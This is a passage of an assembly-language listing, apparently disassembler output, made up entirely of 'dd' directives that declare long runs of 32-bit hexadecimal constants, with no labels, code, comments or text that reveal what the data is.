0E19B916Bh dd 0E75BC8AAh, 2CF4C25Eh, 303DE361h, 0A0ECF6D2h, 4DF2232h dd 0ABA4B08Eh, 4E80BCACh, 573E1A6Eh, 5F91C702h, 9F5E6F9Ch dd 0C06BED2Dh, 6C2DFBB2h, 5663D827h, 313908BDh, 0F5526003h dd 0A78DD35Ah, 0C6A5850Ah, 7C3A97A9h, 570AFFBh, 8980BA3h dd 7B023C4Fh, 45771BD5h, 4212AFA7h, 8040ADFCh, 929681C3h dd 0E28C4B63h, 0DBDC8205h, 2CF582AAh, 0B77540F5h, 9A99B21Eh dd 564D4BA5h, 0BFBC03A3h, 5A5574Fh, 0AF2B03B0h, 1723156Bh dd 495C2203h, 79DC12E2h, 0B44EE801h, 1BA09DE6h, 5250B7Dh dd 0EFE260FDh, 0CA564BBEh, 4269225Bh, 289101E8h, 9E1E59AAh dd 3F08ECE8h, 0BD9717B3h, 651954DDh, 9F1B50Bh, 9CD125Dh dd 6B4492h, 0B172FDAEh, 56F0FF30h, 0DF6E3900h, 1851F13Ah dd 95B41244h, 0B632FB57h, 0CA44D75Fh, 2DC3E9Ch, 85096329h dd 0BD651495h, 2F3BBB84h, 30D293BCh, 69D01D82h, 0E9D84201h dd 0DE525D54h, 0ADD2576Dh, 0DB5B250Eh, 19195947h, 0B3B8AF9h dd 0D85123CAh, 33C7FC01h, 16C054F6h, 8BAA00A2h, 7F5FB749h dd 0FEEA0F58h, 0A89C2EEDh, 0CA104329h, 0D98B5F46h, 32B0DD14h dd 0CCFB99D6h, 0FB2D5941h, 0D6A25C82h, 42D5B297h, 0B10C8209h dd 0DF800316h, 4A75BDACh, 50B8E7C4h, 918CEFB5h, 0F88302E0h dd 5F82940Fh, 0BA40677Eh, 972F49B3h, 1A000646h, 30B78440h dd 4EE96145h, 5BB8B8CFh, 34E0E9B6h, 1727A48Ch, 0C181610Fh dd 316E2Fh, 0B860D992h, 17D699EBh, 0ABF98B77h, 0AE477B6Bh dd 61D00E24h, 2FDC4D84h, 0AF4C94E7h, 5F000522h, 66516090h dd 0B54DBCB9h, 0D6F416C0h, 6C50612Ch, 90EF3A60h, 84AC02C0h dd 81E2E6E3h, 0EBB5CDDDh, 1A0267Ah, 76A02919h, 916BCF80h dd 0D802FD0Ah, 2B051D7Dh, 6189AABCh, 5E2723F1h, 9580028h dd 7C13A17Dh, 1474589Fh, 0A5707999h, 16CB510Bh, 4CBCA058h dd 5E764062h, 0B5310684h, 905B690Dh, 2323C8h, 70E2AF2Bh dd 9C5C2761h, 0EDBF5705h, 6FC7B217h, 0A9C619h, 933C80D1h dd 17526C7Fh, 0C7B63D0Ah, 0D360C59Dh, 1590111h, 8712B43Bh dd 4081B910h, 905B5FF9h, 1DC7096h, 550EC887h, 0E563DE41h dd 1DF06F54h, 0EC2B4AEDh, 97FACEF6h, 13466FBFh, 0CDAF4B2Ch dd 6CC82B08h, 1FBFF088h, 65806A31h, 90769EDFh, 7D1352Ch dd 4E9AAB95h, 0CF62EBD6h, 4CE38223h, 6BD05E5Ch, 5D4507FFh dd 12802488h, 0E497E6D1h, 45DDB0FFh, 23F780Bh, 5CB062F7h dd 87251CFh, 0C93D8805h, 34F99205h, 91A6026Ah, 6C7ECAE0h dd 7B0C4301h, 902A55C1h, 5152E02Eh, 4BC26EB7h, 0C66EFB5Bh dd 0E87E2E00h, 9B81A15Bh, 8EDA8B2Eh, 0EBE60C5h, 50F06D4Fh dd 47B7E1BDh, 0CB5B0839h, 65B52905h, 3C57F0F0h, 1C259D23h dd 89BD19C8h, 0D3A7044Bh, 11B7902Eh, 0D88B1702h, 7E39A9A0h dd 0A090B74Bh, 0CD1F6263h, 1D4077ABh, 0C5DB0D0Ch, 0D8E201C7h dd 53F3FD09h, 0A9652F4Fh, 0C318604h, 0B7A1A3BCh, 78352FFDh dd 111D1D04h, 69B78DEBh, 3B61A838h, 0E011F77h, 8D09C0FAh dd 51B464ADh, 0B49F548h, 5E2A69B5h, 0A91152AFh, 73B3C0B0h dd 0FE1F8997h, 71E442BFh, 11238B82h, 0CE911A5Eh, 0D2C5B440h dd 4186AA57h, 0F1A93C2Ch, 61DA3174h, 6B05094Ch, 0F68890D9h dd 64262FF1h, 0D70B6227h, 0EDCB942Fh, 81608E5Eh, 0AD609D3h dd 0C82B6558h, 0FDC9AF9Ah, 0DFDA42D1h, 80E9AD40h, 233063D6h dd 478FA56h, 0E29D3CCAh, 44AA1FC6h, 81CC6BEFh, 51179009h dd 0B60092Dh, 9451BF86h, 0BB2F9140h, 2C190363h, 86C39F3Ch dd 185EE6CAh, 0D54C0D91h, 450DE924h, 0A727AA09h, 2FF8DD3h dd 0F915BB03h, 0F95C3C9Fh, 545E1B44h, 0FE2814A5h, 89FB14ACh dd 81016295h, 7A2E09F3h, 0EB602E72h, 0B7164A0Bh, 71801B37h dd 6BE0B901h, 6387580Fh, 61605080h, 98B96A5Fh, 0A6B07527h dd 0B98034C1h, 4D8EBA7Dh, 21109152h, 50634C15h, 1D4B5191h dd 87F052A7h, 9D4E89C1h, 0FCF909BFh, 1DE0A5Ch, 0DD29FD8Fh dd 44E03F26h, 0A4DDD8E2h, 0C02BE412h, 0C4B838E9h, 0FB4D60Ah dd 9D099110h, 69607409h, 4CCB5DFh, 0BC37696Fh, 0B1BCF463h dd 0AF901620h, 0DF592997h, 0DAC02A6Dh, 0B5E314Bh, 0DF125C9Dh dd 9B4A9ED5h, 6E0E79AAh, 0B98E4720h, 305500A7h, 74F61393h dd 0BDE289F7h, 97979570h, 10BB8163h, 3E11C596h, 2601D46Eh dd 4C1BEC0Ch, 3B066CFAh, 77B8DA35h, 375675E2h, 0B8872741h dd 0E15FF73Ah, 0F83B9E6Ah, 0F70C1AFh, 27920181h, 2D2AFCF5h dd 5A605C1Fh, 40A34D5Dh, 1C7B9926h, 70928825h, 0B48213E2h dd 3191FE29h, 2920E1FFh, 0CE034BFDh, 95B124A0h, 837900ABh dd 0A395282Fh, 2CBF53C0h, 977D2458h, 5B6A7B94h, 0B60ACF25h dd 0A9088C64h, 0A6601330h, 12BAE5CEh, 0BB52EF31h, 1221674Bh dd 0B4A7FD4h, 3725845Ch, 78DC0242h, 99F9D3CCh, 4048D200h dd 97194BE2h, 69DEA889h, 0FD1212DCh, 769EF7CEh, 0C9728A5Ch dd 0AF2D5BDFh, 0DA02F835h, 548F0F9Fh, 75F1A571h, 0E2452Dh dd 0A264D781h, 0A9977393h, 0D0ED7BADh, 9001E018h, 0FC66A36Bh dd 0EFE88153h, 0BA627DDAh, 9F1127DEh, 72D8E47Bh, 7FF93A9Fh dd 96B74B1Eh, 0C1DADB6Ah, 0BDCE44Ah, 82265570h, 19400D5h dd 0B852508Ah, 310F250Ch, 49BD9C66h, 0C282816Bh, 761D4E4Bh dd 9C9B7F7h, 5AE463C6h, 0CE69C405h, 0CCEF0BB2h, 563DA3EDh dd 9EDF803Ah, 8FBE261Ah, 7CA904ABh, 0BA6515CDh, 0D04EEE87h dd 0ADD98A12h, 8C19ACBFh, 219E9402h, 5EA1999Ch, 4004E47Bh dd 615F5160h, 2192DE9h, 9ED1F4DBh, 2EDA996Fh, 9D2B62E1h dd 62203F91h, 3F0F9619h, 9E0010E2h, 709DEADFh, 0ED016672h dd 3A869433h, 39ED2B60h dd 670ED76Ah, 55250835h, 0CC519B1Ah, 27C38E01h, 0E66AC9DEh dd 3AF577D0h, 0E2A850E2h, 0B16EF300h, 0A280B7D4h, 6E61BDE4h dd 7D5A3489h, 0FCADDB9Ah, 0AA601BC4h, 0BA03F552h, 7379DA8Dh dd 59602A50h, 0C75F4BA9h, 1A0EE973h, 0C7250828h, 6214E434h dd 66255E2h, 9535C6F7h, 0B7874F09h, 84963688h, 74ABA94Ah dd 0D5A2EBA9h, 0B243AC4Eh, 0B11A2010h, 0CC00CA28h, 96AE1985h dd 0C181606h, 959BE513h, 0F94E8B6Ch, 448031C8h, 0FAEBB702h dd 7887D5F1h, 60A1C312h, 0D832737Ah, 49F09E77h, 9F10A0FDh dd 4FF098FBh, 0BD22FAE9h, 5AD615Fh, 4D6F815h, 58612430h dd 74B877ADh, 52593605h, 9F05A82h, 0F6924ADCh, 119D08CFh dd 8B0F8A1Ah, 25B30B70h, 1F66E76h, 2BEF9BE7h, 0DD3D4E3Bh dd 5F2032BEh, 0BF00417Ah, 223AE6EBh, 0F35A3557h, 81ECD82h dd 7A108FAh, 9CA66113h, 723902E0h, 9EBBB502h, 0DD6036DEh dd 3D21131Eh, 400EE413h, 0E923E780h, 9D038821h, 5E15ED25h dd 57497795h, 53621264h, 41F51F6h, 9E79AF5Fh, 6FA94B6Dh dd 0AC42B3A7h, 0BF04ABC5h, 0F01277Ah, 0E07EF6CDh, 0B3123AC6h dd 0AACEACh, 0D7FCCA38h, 13ED296Dh, 48BD6AECh, 0F83D183Dh dd 3BCE9BFh, 4AD8F93Bh, 9A4AB1E7h, 43588739h, 36981121h dd 0FB809778h, 9331660Eh, 0ED030204h, 70B839EEh, 0B854B7C4h dd 30BBC0D8h, 957F57A4h, 188B40A2h, 57303AFDh, 4A006B14h dd 521FDCA6h, 4AE58F18h, 502FA5Fh, 9D1A1BFh, 0EAD81085h dd 32D38E80h, 0FE988C5Bh, 29A3C95Bh, 0D6A97h, 1A58265Ch dd 29A1D210h, 97BFC5Ah, 1F5C890Fh, 8FEE58E9h, 300C67C0h dd 849AF7EFh, 0D7400DBEh, 494DCBh, 55203DB1h, 8277EE03h dd 924BCD12h, 91E05F3h, 0E726D695h, 25293EFCh, 891CD649h dd 346D04C2h, 0D86996C0h, 0AC0A9736h, 1A03DE6Fh, 0D7772937h dd 1EAF907Eh, 0B5DCA194h, 2A3ADDC2h, 2CC3C463h, 65BDD109h dd 0D44C5511h, 0C4EF9BFh, 19644B3h, 8131952Eh, 505B45A5h dd 202AAA3h, 0E9A06374h, 103F2710h, 9A63143h, 0BE0027FAh dd 212EAB9Eh, 9717038Ch, 0F5457B74h, 0B69C74FFh, 6684A0AAh dd 3B54175Fh, 0FED6C821h, 0A502D500h, 5055478Ch, 7E2F25AEh dd 6D2F5558h, 0C157102Ah, 5B129711h, 69001EC6h, 0E767C34Eh dd 2F3DF788h, 0FFCC5F56h, 194E8A95h, 0CB9B09DEh, 5A827AE1h dd 0C994055Dh, 0CC8E0F2Fh, 9F772537h, 82FA3F55h, 0EF131A6Dh dd 7E2E25Fh, 5690817Eh, 970F4571h, 58440994h, 32DF0481h dd 0AB0ECD50h, 0F0CB2930h, 30D90042h, 1F863357h, 9902945Ch dd 0D499129h, 43D17EB6h, 0F6B00B10h, 421ECE39h, 4F422D17h dd 843C25D4h, 9BAA34F5h, 2BA1C430h, 172047E8h, 6A6FC4Bh dd 76301AB2h, 9E470EAFh, 0EB939472h, 0F1BF0460h, 0B3EE95B7h dd 134B595h, 1363D5B9h, 1D6B3A86h, 30801B23h, 2159806h dd 1E34A65h, 259531A7h, 3A72B07h, 6822BB02h, 165E38C4h dd 9E7E4F51h, 7977C9FAh, 0D889AF1Fh, 0FDC66324h, 5E8F4h dd 95126246h, 76697C65h, 686FEF95h, 287E7C3h, 0C65FD883h dd 3AB548F2h, 0AC669A13h, 906A80D1h, 441C635h, 310BE929h dd 246F8C1Eh, 7B73B300h, 0A1A0A75Eh, 527E01D8h, 5BFC7161h dd 93F26B0Bh, 0F1BCE912h, 0ED61E24Fh, 9ECF2B05h, 69C01BC8h dd 3E74199Bh, 95BD0370h, 0BA5FF512h, 0C684362Ah, 0E5104BFh dd 6E07C112h, 0E1FD2A24h, 6A97E45Bh, 78A7DB9Fh, 450F25CFh dd 9AD2E7Fh, 285141h, 0F439AC03h, 3B092063h, 5FBD09EDh dd 276A4361h, 0E9F0A725h, 0EAF373ABh, 265D2F40h, 9801E662h dd 2F16DB3Ah, 8A2ECC6Fh, 3BC225C4h, 0D9B7F1C0h, 60505F1Fh dd 9353BA3Fh, 0B3B95E5Bh, 0E19D1273h, 0F8A5BD11h, 0A453043Ah dd 1233B72Ch, 12E520ABh, 792E4DFBh, 6117750Ch, 0AA4BF2F9h dd 0B749ED6Ah, 0C23502C5h, 2F4A194Fh, 5034C575h, 0FF0071A2h dd 0ECBFE44Bh, 9B7D35Ch, 22618529h, 8E7EC65Eh, 89D804CAh dd 0AB12A9BDh, 5CB0C61h, 33FEF0h, 5F28CC7Fh, 0ED8D9FA6h dd 5174C801h, 86E7D5C5h, 5308282Fh, 612F4FB5h, 7AAF87A7h dd 812E8FF1h, 68DA26A7h, 26A0025h, 5BFA8A52h, 0BB510590h dd 0F89A7D89h, 7C97796Ah, 999D616Fh, 0BADC2B15h, 4154B752h dd 0CDE95F41h, 0D400F37Ah, 90F95A76h, 9C27F8BCh, 90ABD286h dd 6B8D270Ch, 54EBFB5Ch, 7F01D4D4h, 0F5BF911Bh, 11E760C7h dd 27088EF6h, 0CCE2B252h, 0CF930045h, 0B8B21D4Fh, 7607FB2Dh dd 942EF45Eh, 5E2837D3h, 0C0E9DB30h, 3692F422h, 4AD79831h dd 0E862E91Eh, 0B5488C14h, 76CF0B02h, 4E94D7D2h, 472B0D21h dd 5074796Ah, 0F95BA061h, 58CFC842h, 2A492EFCh, 0EA04F649h dd 82A580B0h, 5EF84A82h, 139C262h, 0E082550Bh, 660014F9h dd 277C96BAh, 2159B061h, 70E6F941h, 7DEFE881h, 6071E485h dd 194B551Dh, 89B329ABh, 791C715Ah, 0DCBF8576h, 34BA8448h dd 0D8B3BAF8h, 8AF26FC2h, 4DE8025Fh, 6159022Dh, 0C1668B5Eh dd 0B70DF684h, 0BF2D1966h, 0B91075FBh, 0BCB69501h, 5C91C2A5h dd 19A5888Bh, 0C263B342h, 44617C2Ah, 0B2164005h, 18B2923h dd 0D930BE66h, 2A8A0F5Eh, 0D22FC4F3h, 0FF37F5F4h, 0B2B83304h dd 0EDB60F8Fh, 38319633h, 15E0DB97h, 0CDF8F7h, 0BDFDBB11h dd 1764DA6h, 453D8D36h, 517CE138h, 0C902EC93h, 45A37A5Bh dd 5223816h, 42E9C234h, 7FC090ADh, 9871C5F5h, 0E6B89625h dd 73589DACh, 22BB034Eh, 0C8D18411h, 89277F2Ch, 31B373E3h dd 6E1EEDAAh, 1D4C47C9h, 0B3B097D9h, 164D5A88h, 30C5E82Dh dd 813C41DAh, 0A112F5D7h, 0AAF37AD9h, 0DFD5BB00h, 97B91D8Bh dd 1DE70E4Fh, 0AAC813A0h, 2E5CF912h, 1D2A88h, 0A89D52C2h dd 72A31798h, 396DE701h, 887CCE4Bh, 11626EE0h, 205E86Ah dd 92F64938h, 0B8F95730h, 0E3655F1Ch, 0E585DDE5h, 53ED505Dh dd 289270D0h, 0C6521504h, 9BBC02Bh, 9B79047Dh, 587673ADh dd 6A020AB4h, 0BD2B76CBh, 80B448E5h, 0F73AE7F3h, 3016F268h dd 9E067BB3h, 41B52956h, 20569569h, 39B3A749h, 0AFCB7B8Bh dd 0C847C8CDh, 6DE6E4B0h, 9C020BC2h, 18FFE2B0h, 0FF4D21h dd 1A867437h, 0B4E3F2FEh, 185F7A02h, 5E7FA312h, 9535EBE2h dd 1E819E9Fh, 9CB740E3h, 5C8DE2E6h, 660B56D5h, 23D7DBFh dd 5EA131D5h, 153051B0h, 7CA1ED83h, 278C5F1Bh, 0D8AA6192h dd 0BD222F33h, 608C5EF5h, 0F2E98BBFh, 12E55748h, 6BF41331h dd 2EF30481h, 2C39A9E0h, 9D047094h, 5BE0056Dh, 161F01DFh dd 0E8E13461h, 11E8A777h, 9D0B0B7Dh, 0FF9CFD0Dh, 0FA348621h dd 56177D5Bh, 347D1004h, 923600Eh, 0E4DD4D95h, 7BC9C551h dd 0B76D7861h, 0DC0F36Dh, 4922707h, 0B7266557h, 97B5BA32h dd 8427E26Ah, 0F4BAD6BFh, 0AB00B860h, 0BA8C62F0h, 3D31505Eh dd 0D24B1A55h, 73D74D67h, 4098D0E2h, 83BB123Eh, 893D3EA5h dd 5D1992BDh, 1B912837h, 16A04680h, 7712A802h, 28E2B98Ch dd 50B72400h, 9AE082D0h, 30288707h, 0BC21D60Ch, 0BFF4E3AEh dd 0DDDE4B8Ah, 0B06D268Dh, 0BC6FDDAh, 90E84259h, 0F2570862h dd 0FD04FFDCh, 0D61899E0h, 9038092Fh, 0E1E98D04h, 93B72FCBh dd 0AA2DAFA5h, 0E2E4F140h, 9EE80968h, 7764D758h, 60BEC34Ah dd 0E493732Ah, 38BD4700h, 0F67A356Ch, 888097CDh, 28C66517h dd 312DC5B8h, 0A504D319h, 813EBF55h, 0D0BB8C99h, 0E92DC038h dd 5E3BCC49h, 858F1FEDh dd 0EE2403A8h, 7B1C2D09h, 12DDAD29h, 69D2DE75h, 551A9A57h dd 9D213DCCh, 7B546941h, 0A52900DCh, 3D5D921h, 126416Eh dd 0BC2030E9h, 1B1CEB5h, 0B537C381h, 7B893507h, 1A01E46Fh dd 2B3EEBD7h, 798D7B78h, 0C8F99A6Eh, 7CD9C018h, 7E5BD11Dh dd 0C680ABF8h, 1A81BEE0h, 29743F0Bh, 5F25689Dh, 5EC4B58Bh dd 123D0C97h, 962C4075h, 4C5B572Ch, 7DADFE1Dh, 70CF4730h dd 0F6BD544Eh, 6F021090h, 3A48DCC9h, 6804C750h, 0F101C4F0h dd 0D0EED8FBh, 98078BFCh, 0CCA68A0h, 0D0044E83h, 0E84894Fh dd 0C64472EEh, 0E1D88B65h, 973210DEh, 727B3F8h, 1202647Dh dd 21D3F0Fh, 858DDC22h, 0C00CCF7Fh, 9086DAF8h, 89DBD105h dd 87F8A758h, 78C80180h, 6B072DA8h, 7FEFAFEEh, 0DE30EA70h dd 29D391Ch, 34D0D82Dh, 1E98D677h, 5D505F25h, 1E0B2513h dd 4A891BBAh, 29BF0427h, 2A2B76B1h, 6C5682FEh, 44D95EDBh dd 4FDBBF61h, 6575E389h, 0AC2378DAh, 0F82D99B0h, 0C6F7710Ch dd 5BB03155h, 972494B5h, 0C0407AD6h, 25CBFFF1h, 0D6E00F35h dd 0E9256F3Ah, 0DA1F5B4Fh, 21CF425Dh, 4DF57739h, 2E0ECF0h dd 89441BA4h, 640FBFF3h, 3BAED722h, 0A0E6A5FFh, 5085EDA0h dd 2371BE0Bh, 70D3D336h, 0EC01B229h, 92221741h, 0E83B7984h dd 8DBDC23Ch, 0F8C90E11h, 4DEDF118h, 71F7AB25h, 40862FDh dd 0F265909h, 0EE60E1C9h, 802C9DAEh, 0AC6CC101h, 2A994790h dd 94592B50h, 5B842464h, 82DD593Eh, 21B531DBh, 3A145516h dd 6BF3810Eh, 0A5E38019h, 977CE20Eh, 2AF84F99h, 19B2D1F6h dd 0A6004032h, 176B2494h, 55330332h, 7E507B16h, 999778C6h dd 7D78964Ah, 0AB3500Eh, 44A830F7h, 71058D5Bh, 0D9BBDD0h dd 827F9200h, 1A493F85h, 0DE9F86B3h, 0C0B56FD7h, 30DA8AB7h dd 0C4B06E00h, 0B8953DBFh, 40389E54h, 96AC0A2Eh, 5C1C8469h dd 459DC328h, 81E3EAACh, 9CEA007Eh, 5FF3A918h, 0BC00E79Bh dd 0D788C7FBh, 2DC42209h, 0ACE35120h, 0B8928B8Ah, 70ED5357h dd 0E17652FEh, 0BD33F304h, 77AF05A9h, 0DD846F68h, 8A9DAE22h dd 18D5C088h, 5D51C227h, 0E4F83953h, 0D32B58F9h, 6B707D69h dd 0CAB5893Ch, 52E13912h, 0F8C0C65Bh, 9BF2C6C4h, 7798080Bh dd 0D76A47Ch, 0EB45BD45h, 0E6934DDEh, 74AF4FB6h, 0C58DFF74h dd 0C8A19A6Bh, 0EFE3C01Dh, 27004AA3h, 190CC9BFh, 588D2947h dd 0AB939B0Dh, 0F4042E6Fh, 0AACFE29Ch, 9D8908C0h, 0B9075E91h dd 0F47DBDC7h, 8E298C80h, 9F1D761Ah, 85C9139Dh, 513F0B9h dd 308FABBFh, 80F2BC2Eh, 75D45FE6h, 225102BBh, 592C64BCh dd 691DED7Fh, 0A61CFE73h, 817E20E5h, 2684A7D7h, 83286DF6h dd 0AAB750F9h, 13F60E58h, 2AAFE78Ch, 0E6AB80A1h, 2D6BB97Ah dd 0ED84753Ah, 8F74AF1Dh, 4EA260B8h, 20EB5225h, 0CCA14CF8h dd 2F5AA00h, 0F787BF85h, 0FD661C42h, 39DC655Bh, 5C2434E2h dd 0F100DCC9h, 0E0DF749Eh, 4FA67011h, 1750AB31h, 9012DDEh dd 598FDBB4h, 1D40181Ah, 89853746h, 4C798C16h, 518007A9h dd 8A60FB07h, 0D07C9Dh, 0BB34961Ch, 309FC3B9h, 0FC4B43A4h dd 282E16CDh, 828A3611h, 0F508C5CBh, 5CA5F3C5h, 713D42Bh dd 874D852Eh, 0F40561C6h, 7BAFCA53h, 25182300h, 6004AC5Dh dd 0E9314041h, 0CAB94E5Ah, 84757B7Bh, 0C0E5ED95h, 6BEF5BFEh dd 8195F99Fh, 60CCF380h, 0BB66D4B6h, 61816913h, 1C79D6C8h dd 2B289DADh, 6FE94201h, 45384AE8h, 4B3BD902h, 0D54FED57h dd 77002650h, 8D7D1B81h, 923098h, 6358CA25h, 766D5DFBh dd 84741202h, 7F8D2B8Bh, 0A80414F0h, 0F0AED647h, 58AABD00h dd 0B700150Fh, 8E09FEB4h, 0C007F51Dh, 1EB6047Eh, 96009080h dd 921B8D38h, 7E4C9D9h, 42258FF3h, 3134908Ch, 1D00877Bh dd 44A29C72h, 3F9AF7DAh, 3A0303E3h, 353058C9h, 0F13F5200h dd 0D2CBBB59h, 31D40072h, 0A9A2625Bh, 0F0124649h, 4A005558h dd 6164C4BDh, 50B400ABh, 3AA2974Dh, 870B8137h, 0CBD2629h dd 7D2B5591h, 9E7E01DDh, 0F7D7962Fh, 31CFD428h, 0E9474100h dd 0AFA77DE6h, 0F44A064Dh, 3BEA178Ah, 4E49B00h, 1DA8D930h dd 9C207AD8h, 1F8AA18Ah, 5299C04Bh, 0D78EAAD2h, 93BB2C1Eh dd 4C9A4030h, 0C045E8E2h, 0C64FF011h, 3C882D55h, 848450EEh dd 0B6AB0081h, 8BF54B4Eh, 0C66257AEh, 2F0A9E72h, 88488380h dd 0A20BF0FFh, 55FD39A3h, 9A0065C4h, 89EBE197h, 0D7CD0Ch dd 0A2E87CE0h, 903BD333h, 5EC4BA00h, 0FDB411F4h, 5A4E271Dh dd 0AD900FFh, 0F8F3C96Ch, 0F12D0097h, 203BEA5Ch, 4500A572h dd 998E66D0h, 782E31h, 0FB171A84h, 9E936242h, 3A0365Ch dd 74F25CBCh, 9D07E8D1h, 2F3A09Ah, 26971C08h, 0DF0F0FEh dd 240B27BFh, 5514766Eh, 90010946h, 3FB039FCh, 2E809817h dd 0CD6ED826h, 0F9006BEDh, 3B8D5EDEh, 18A5505Ch, 26880C34h dd 5B00C513h, 1E02377Eh, 0A97A5ED8h, 0B96A0499h, 9F0100BDh dd 0A0956BF4h, 7DA52438h, 0DE8C8061h, 297F82E8h, 9F999100h dd 3EF4D741h, 0E17E49h, 0C8CB3328h, 0B5B91912h, 0ED5C3C00h dd 0E8B7974Eh, 8B77F3h, 0F5A008FDh, 0CDC5271Fh, 7174D414h dd 18CE16CDh, 25B9B900h, 28986C4Ch, 22EC8151h, 1E556178h dd 9DA0C053h, 80393Ah, 0D674DCD1h, 675D33h, 98ACFE01h dd 56E5B57Ch, 4FFA9207h, 0C85CB6DEh, 0D7712C5h, 510900D1h dd 0B05BF35Dh, 8EB62718h, 0DACA4EBh, 0F2F1474Ah, 0E650F40Ch dd 289A0300h, 0D86FA23Ah, 218B06CCh, 342F81AEh, 99793003h dd 11A26EC5h, 106B5B6h, 0DE3C360Ch, 0B86A3874h, 70F9C16Fh dd 778ED7FFh, 45209CE6h, 0F5E342D1h, 0C0FF9AD3h, 91534B9Bh dd 0C1D984Ch, 3240F41Ch, 15AD03FBh, 58EBE277h, 64E33CB0h dd 2A0069F6h, 9A70D9DCh, 0F3F42A0h, 1B3D65D6h, 0FE4C75C0h dd 2400FC66h, 3E2ECC2Ah, 3BE644h, 6096F65h, 5FBFB8B0h dd 9C0C5C76h, 3B3E68B9h, 9E900A2h, 8982403Ah, 97009D2Dh dd 9E66EBCEh, 74D0306h, 96ECEF59h, 0AA1080FEh, 0B90051A7h dd 0D3312B1Bh, 19DE67D0h, 50C2456Dh, 0C4628054h, 4D696CCAh dd 0DDD402AAh, 8E6E0F79h, 0AA3D9C85h, 0FD4B81B4h, 241698C0h dd 3D8831C9h, 0DE304602h, 87D8558Eh, 180FE500h, 0F15BB1B4h dd 7BCF90B5h, 0A314157Ah, 82029B7Bh, 103FA034h, 888353C0h dd 0C54EF900h, 8F92FAEFh, 7CE40AD9h, 80F12379h, 69FC0865h dd 630366B4h, 0B755B3ADh, 0F21AF814h, 16CADCE8h, 81207h dd 0C01E1814h, 7E0054BDh, 0DFB72189h, 608487E5h, 94F86668h dd 8FF82891h, 509E3FC2h, 0CD72D5B8h, 1EFE9F00h, 41EB2A9Ch dd 736A00A2h, 0DBD5AD17h, 3C0EDF7Dh, 86E30DCAh, 7629268h dd 2FD183DAh, 975DD4DEh, 13AFC03Ch, 0D00048B8h, 0DB1781C3h dd 87C6F6Ah, 769E0F84h, 9F378587h, 0D066576Bh, 636BDC01h dd 0FE1016F9h, 6F0360h, 127C1478h, 91E2E533h, 4C02695Ch dd 92F23DD9h, 1E00A39Eh, 0A213BE56h, 16F8019Ah, 0CF40A190h dd 0A6F86A7h, 2C0D7199h, 26392A78h, 73C80CA6h, 6A0076B9h dd 26888063h, 4872E38Eh, 6900405Dh, 0F25B5EACh, 0C102251Ch dd 27857F57h, 3E466889h, 23CE28EDh, 0DF9800A9h, 0D83630FFh dd 0A600A53Ah, 8715D01Fh, 969A5Dh, 0E3393C9Eh, 7F08B34Bh dd 6AB1A974h, 124FDA81h, 0CF30EB70h, 8CEA0EE4h, 0B3403289h dd 0FC5255BFh, 11F19200h, 6813AE9Dh, 0A6BA00F7h, 1DCB6A04h dd 2A63C226h, 0C93CB156h dd 968066A3h, 5AC45CAAh, 5CB588DCh, 0F087884Ch, 45489600h dd 1637958Fh, 7BCB68Ch, 70867642h, 0ECC22B2Eh, 0E77A92F0h dd 73A4E5Dh, 32A50F5Dh, 47792E80h, 0A7C001Dh, 422A6273h dd 8558EF39h, 3B3500CCh, 554F3FDDh, 2DA98F7h, 88DFE248h dd 0F0D5E9C9h, 8831B2EBh, 686EBD7h, 0D568B698h, 0BC080FADh dd 8AC2EA5Bh, 0BA17BC9h, 0C48A348h, 38002C02h, 0D107A6Eh dd 161C1FB7h, 0AB205CC6h, 50B0478Bh, 531E089h, 0E8837904h dd 24E033D9h, 0D06D831h, 6125685Ch, 534C910Dh, 5181E3D0h dd 0EBD91EC3h, 1C870641h, 3C89368Eh, 29BD5580h, 67916E9h dd 2C8BEE1Fh, 2F1157EDh, 2A37EB54h, 0EC371483h, 0C08169DCh dd 520A1506h, 473D8F0Bh, 0D0773908h, 22CAFF0Ah, 8B46285Fh dd 7C89FE14h, 52C255E2h, 1419DAh, 9916CE9h, 935DFFFBh dd 0B86F0000h, 5CB5EE0Ch, 82DE4355h, 70635880h, 0AFC65Ch dd 54018DD0h, 40BCBBh, 4108398Ch, 35FF1944h, 0F1AD2803h dd 0B256E769h, 9A4CFD30h, 87C28F73h, 5839BD23h, 0F3F4955Eh dd 0E114707Ch, 18B66C08h, 5B739341h, 5A319870h, 0C90BEA95h dd 0E94DD56Ah, 7B48F3C0h, 0BD6B970Fh, 0C1DEFB85h, 2CBCAA80h dd 7301C171h, 9DDAA9A1h, 6D212960h, 0BB96006Fh, 7C3BC397h dd 6ABC615Ah, 0A194D814h, 16F1360Bh, 42E3534Dh, 0DF5016DAh dd 2E97A5FEh, 0AAB1A220h, 0EF9A0078h, 7131B470h, 96E0D42Ch dd 0A527F000h, 6051909Fh, 0ED9E09B8h, 9F64196Eh, 6670F4EDh dd 0A85C7300h, 1180DC81h, 0BF320190h, 0EB9372Ah, 4BA77C34h dd 2000EEF3h, 95F1B61Fh, 0E10B9AC2h, 550F4AFBh, 0BD7CA109h dd 502A01DEh, 0BB776DEDh, 55357E6Bh, 819E9EFAh, 0ACB345C5h dd 0A37CF72Eh, 0D6CAE20Eh, 0BD016001h, 7E972F9Dh, 1981E25Ah dd 95CE55h, 51F090BFh, 0FD232689h, 77D5150Eh, 0A5E2F833h dd 625D821Bh, 0DCD3746Fh, 0CD2D4213h, 2A0011FCh, 0B1BB6E90h dd 445AA30Bh, 8922C68Ah, 0B57B8DE8h, 0E48667BDh, 16A3671Ah dd 9810807Eh, 0F9010EFh, 51568B84h, 505B803Dh, 89217BBBh dd 4EA3145Bh, 6C5A7700h, 552D1A5Fh, 0F371EE09h, 0D3ECFFA7h dd 5E230D20h, 0C882DA5Fh, 8B41C018h, 0A206581Eh, 13ADB509h dd 47E92D4Ch, 4070DCD4h, 0BD8980F1h, 0F30E2525h, 7A99D128h dd 0CD7E67B1h, 0F2212134h, 3AB5D2F0h, 62164D07h, 0D700F29Fh dd 5F897899h, 0BBA4E4B5h, 5F72280Ah, 0A23ED415h, 0CD40B707h dd 0D31E8ACFh, 0BB015061h, 2C7E36FAh, 0D6FAE159h, 1D09DE06h dd 5DC53D34h, 109F466Ch, 1675BEB0h, 0A63880EDh, 0E4CD4FEAh dd 6AF9A68Fh, 0F2F4BB40h, 0B5EC3457h, 0DE2C8127h, 0A73FF424h dd 0BB5D81B3h, 398A0692h, 21E0626Ah, 0F860582Ah, 0E2282F08h dd 0B832052Bh, 0B25E2DADh, 3B80001Bh, 0A99C518Dh, 0C6D7024Fh dd 0B05F3053h, 0BDB0FAD7h, 14A8142h, 0E9C4EA7Eh, 2B3B32FBh dd 8140EAD4h, 1E8F1ECBh, 